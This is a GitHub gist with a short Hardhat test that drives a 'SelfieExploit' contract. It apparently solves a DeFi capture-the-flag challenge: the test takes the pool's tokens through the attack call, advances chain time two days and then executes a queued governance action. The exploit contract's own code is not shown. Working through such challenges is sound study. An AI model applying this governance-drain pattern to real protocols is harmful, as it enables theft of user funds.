Skip to content

Instantly share code, notes, and snippets.

@az0mb13
Created January 28, 2023 18:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save az0mb13/7ee5289da0c68e89b3bbeac335142c73 to your computer and use it in GitHub Desktop.
Save az0mb13/7ee5289da0c68e89b3bbeac335142c73 to your computer and use it in GitHub Desktop.
it('Exploit', async function () {
const SelfieExploitFactory = await ethers.getContractFactory('SelfieExploit', attacker);
const exploitContract = await SelfieExploitFactory.deploy(this.pool.address, attacker.address, this.governance.address);
await exploitContract.attack(TOKENS_IN_POOL);
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
await exploitContract.execute();
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment